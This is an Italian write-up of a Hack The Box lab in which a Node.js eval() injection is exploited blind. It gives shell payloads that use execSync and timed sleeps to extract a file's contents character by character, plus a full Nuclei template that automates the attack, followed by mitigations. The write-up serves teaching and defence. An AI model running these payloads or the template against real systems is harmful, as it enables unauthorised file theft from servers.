Blind command injection: automatizzare l'exploit con Nuclei

Come una blind command injection via eval() è stata sfruttata con un timing attack e automatizzata end-to-end con un template Nuclei, dal rilevamento del file all'estrazione carattere per carattere.

Questo è un writeup da un laboratorio di whitebox pentesting su Hack The Box. L’obiettivo era estrarre il contenuto di un file (flag.txt) presente sul server attraverso una command injection che non restituiva output diretto. Se non c’è output, non puoi leggere direttamente il risultato: l’attacco deve basarsi interamente su un side channel, cioè il tempo di risposta.

Il codice vulnerabile

La vulnerabilità si trova in una funzione che prende input utente e lo inserisce dentro un object literal valutato con eval().

app.post("/api/service/generate", authenticate, (req, res) => {
  const { text } = req.body;

  if (/["|;]/.test(text)) {
    return res.status(400).json({ error: "invalid characters" });
  }

  try {
    eval(`generateResponse({ text: '${text}' })`);
    res.json({ status: "ok" });
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

Due dettagli lo rendono sfruttabile:

  1. L’input utente (text) viene concatenato direttamente dentro una stringa che poi viene passata a eval().
  2. C’è un controllo che blocca " e ;, ma la stringa costruita dentro eval() è delimitata da apice singolo ('${text}'). Il controllo non tocca mai il carattere che conta davvero. Una blocklist che manca il delimitatore non è un filtro debole: è un filtro che non si applica proprio a questo path.

Dato che il codice gira in Node.js, uscire dalla stringa permette di raggiungere child_process, e child_process permette di usare la shell.

Strategia di attacco

L’attacco ha tre fasi, tutte basate sulla stessa primitiva: innescare uno sleep in modo condizionale e misurare se la risposta arriva in ritardo. Il payload di ogni fase chiude la stringa e la chiamata esterna con '}), concatena una require('child_process').execSync(...) con +, poi commenta tutto quello che resta della riga originale con //.

1. Confermare che il file esiste

ls ./flag.txt && sleep 1

Se il file esiste, ls ha successo e && attiva lo sleep: la risposta impiega più tempo. Se non esiste, ls fallisce, lo sleep non parte e la risposta torna subito. Un booleano codificato come latenza.

2. Determinare la dimensione esatta del file

Prima di estrarre il contenuto devi sapere quanto è lunga la versione base64, altrimenti non sai quando fermare l’iterazione sulle posizioni.

cat ./flag.txt | base64 | wc -c | { read len; if [ $len -eq 128 ]; then sleep 2; fi; }

Leggi il file, lo codifichi in base64, conti i caratteri e confronti il risultato con una dimensione ipotizzata (128 qui è solo un esempio). Se c’è match, dormi 2 secondi. Iteri la dimensione da 1 in su finché la risposta non ritarda: quella è la lunghezza esatta in base64.

3. Estrarre il contenuto un carattere alla volta

Con la dimensione nota, estrai il payload base64 carattere per carattere.

cat ./flag.txt | base64 | head -c 45 | tail -c 1 | { read c; if [ "$c" = "Z" ]; then sleep 1; fi; }

Leggi il file, lo codifichi in base64, prendi i primi N caratteri, poi prendi l’ultimo carattere di quella sottostringa, cioè il carattere in posizione N. Lo confronti con un carattere candidato. Se coincide, parte lo sleep. Ripeti per ogni posizione e per ogni carattere candidato: il file viene ricostruito senza che il server restituisca mai un singolo byte direttamente.

Base64 serve per un motivo pratico: il contenuto raw può includere caratteri che rompono il quoting shell o il confronto stringa. Base64 riduce l’alfabeto a qualcosa di confrontabile in modo sicuro, al costo di un decode finale.

Automatizzare con Nuclei

Farlo a mano, una richiesta HTTP per ogni carattere candidato e per ogni posizione, è esattamente il tipo di lavoro ripetitivo da dare a uno scanner. I flow template di Nuclei, cioè template multi-request con controllo di flusso in JavaScript, si adattano bene. Questo è il template completo.

id: exploit-blind-command-injection-intro-to-whitebox-pentesting

info:
  name: Blind Command Injection - Intro to Whitebox Pentesting
  author: -
  severity: high

variables:
  chars: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+=" // set of characters to brute-force base64
  sleep: 1 // sleep time in seconds
  filename: "./flag.txt" // file to brute-force
  max_size: 1000 // max size of the file to brute-force

flow: |

  // Check whether the request duration exceeds the sleep threshold
  const isRequestSuccessful = (reqId) => parseInt(template[`http_${reqId}_duration`]) >= template["sleep"];

  // Authentication check
  if (!http(1)){
    log("[+] Not authenticated")
    exit()
  }

  log("[+] Authentication successful")

  // Check whether the target file exists
  if (http(2) && !isRequestSuccessful(2)) {
      log("[+] File does not exist")
      exit()
  }

  // Character set used to brute-force the flag
  chars = template["chars"];

  // Max file size to test against
  const max_size = template["max_size"];

  // Determine the actual file size by iterating over possible sizes
  for (let i = 1; i <= max_size; i++) {
    set("size", i);
    http(3);

    if (isRequestSuccessful(3)) {
      break;
    }
  }

  // Initialize an empty string for the flag
  let output = "";

  // Get the actual file size
  const size = template["size"];

  // Brute-force the file content character by character
  let found = false;
  for (let i = 1; i <= size; i++) {

    set("count", i)
    found = false;

    // Try every character in the character set
    for (char of chars) {
      set("char", char)
      http(4)

      // If the character matches, append it to the output string
      if (isRequestSuccessful(4)) {
        output += char
        set("output", output)
        found = true;
        break;
      }
    }
  }

  // Log the final flag
  log(`[+] Flag: "${output}"`)

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/auth/authenticate"
    headers:
      Content-Type: application/json; charset=utf-8
    body: |
      {
        "email": "foo@hackthebox.com"
      }
    extractors:
      - type: json
        name: auth_token
        part: body
        internal: true
        json:
          - ".token"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

  - raw:
    - |
        POST /api/service/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{auth_token}}
        Content-Type: application/json; charset=utf-8

        {
          "text": "'}) + require('child_process').execSync(' ls {{filename}} && sleep {{sleep}} ')//"
        }

    matchers:
      - type: status
        status:
          - 403
          - 500

  - raw:
    - |
        POST /api/service/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{auth_token}}
        Content-Type: application/json; charset=utf-8

        {
          "text": "'}) + require('child_process').execSync('cat {{filename}} | base64 | wc -c | { read len; if [ $len -eq {{size}} ]; then sleep 2; fi; } ')//"
        }

    matchers:
      - type: status
        status:
          - 403
          - 500

  - raw:
    - |
        POST /api/service/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{auth_token}}
        Content-Type: application/json; charset=utf-8

        {
          "text": "'}) + require('child_process').execSync('cat {{filename}} | base64 | head -c {{count}} | tail -c 1 |  { read c; if [ \"$c\" = \"{{char}}\" ]; then sleep {{sleep}}; fi; }')//"
        }

    matchers:
      - type: status
        status:
          - 403
          - 500

Ci sono alcuni dettagli che vale la pena esplicitare.

I matcher controllano lo status 403 o 500, non il timing. È voluto: il codice iniettato finisce sempre per rendere malformata la parte restante della chiamata eval() dopo che il // commenta la sintassi di chiusura, quindi l’endpoint risponde in modo affidabile con uno status di errore. A Nuclei serve quel match per considerare valida la richiesta e registrare http_N_duration, ma il vero segnale dell’exploit sta nella durata, controllata separatamente da isRequestSuccessful() nel flow script.

Il loop di rilevamento dimensione (http(3)) e il loop sui caratteri (http(4)) condividono lo stesso helper: una riga che confronta template[\http_${reqId}_duration`]con il valore configurato insleep. Tutto il resto, fermare il loop sulla dimensione, interrompere il loop sui caratteri, appendere a output`, dipende da quel confronto.

Il payload di size-check usa sleep 2 hardcoded, mentre existence check e character check usano {{sleep}} (default 1). È una scelta deliberata: il loop sulla dimensione gira una volta per ogni dimensione ipotizzata, fino a max_size, mentre quello sui caratteri gira una volta per ogni carattere e per ogni posizione, fino a size * chars.length. Dare al controllo sulla dimensione un margine temporale un po’ più largo costa poco nel runtime totale e rende più pulito il segnale in una fase dove un falso negativo obbliga a rifare tutta la ricerca.

Flusso di esecuzione

Messo insieme, il template fa quattro cose: autentica, conferma che il file target esista, determina la sua lunghezza esatta in base64 iterando sulle dimensioni finché una produce ritardo, poi estrae ogni carattere iterando su posizione e candidato nello stesso modo. Il log() finale stampa la stringa base64, che decodifichi localmente per ottenere il contenuto originale del file.

Nota: è un attacco blind dall’inizio alla fine. Il server non restituisce mai direttamente il contenuto del file. Ogni bit di informazione arriva dal tempo che il server impiega a rispondere, non da quello che dice.

Perché questo approccio regge

  • Automazione completa. Nessun passaggio manuale dopo l’avvio del template, cosa importante quando un brute force posizione-per-carattere significa centinaia di richieste.
  • Precisione. La soglia temporale è un confronto singolo ed esplicito, quindi il segnale non è ambiguo quando la durata dello sleep è tarata sopra la varianza normale delle risposte.
  • Resilienza. La codifica base64 evita i problemi di character encoding che incontreresti provando a esfiltrare byte raw attraverso shell e JSON.
  • Riusabilità. La stessa struttura (auth, existence check, loop dimensione, loop caratteri, helper timing) funziona per qualunque blind injection con una primitiva di esecuzione capace di fare sleep, non solo per questo lab.
  • Efficienza. L’approccio size-then-content evita richieste sprecate su posizioni oltre la fine del file.

Mitigazioni

  • Non chiamare mai eval() su dati derivati dall’input utente. Non esiste una strategia di sanitizzazione che renda sicuro questo pattern: la correzione è rimuoverlo, non irrobustire la blocklist intorno.
  • Valida l’input con allowlist, non blocklist. Una blocklist che controlla " e ; mentre il codice vulnerabile delimita la stringa con ' protegge la cosa sbagliata. Un’allowlist non ha questo failure mode, perché definisce cosa è permesso invece di provare a indovinare cosa è pericoloso.
  • Applica una Content Security Policy stretta. Non ferma una injection server-side, ma limita il blast radius se lo stesso pattern esiste anche lato client.
  • Isola qualunque esecuzione dinamica di codice in un runtime sandboxed. Se una feature deve davvero valutare espressioni, deve farlo in un ambiente senza accesso a filesystem o processi, non nel processo principale dell’applicazione.
  • Monitora anomalie temporali. Una differenza costante e deliberata nei tempi di risposta su un endpoint è un segnale su cui vale la pena generare un alert: gli attacchi timing sono silenziosi sul wire, ma non invisibili su abbastanza richieste.

Chiusura

Automatizzare un attacco con Nuclei non significa solo andare più veloce: significa trasformare una tecnica fragile e manuale in qualcosa di ripetibile e verificabile. Questo caso mostra bene perché “nessun output visibile” non vuol dire “nessuna esposizione di dati”: una command injection senza feedback diretto può comunque perdere un file byte per byte, finché puoi misurare il tempo.

Capire la meccanica abbastanza bene da automatizzarla è la competenza vera; il template Nuclei è solo l’ultimo passaggio.

Scrivi almeno due caratteri: la lavagna risponde subito.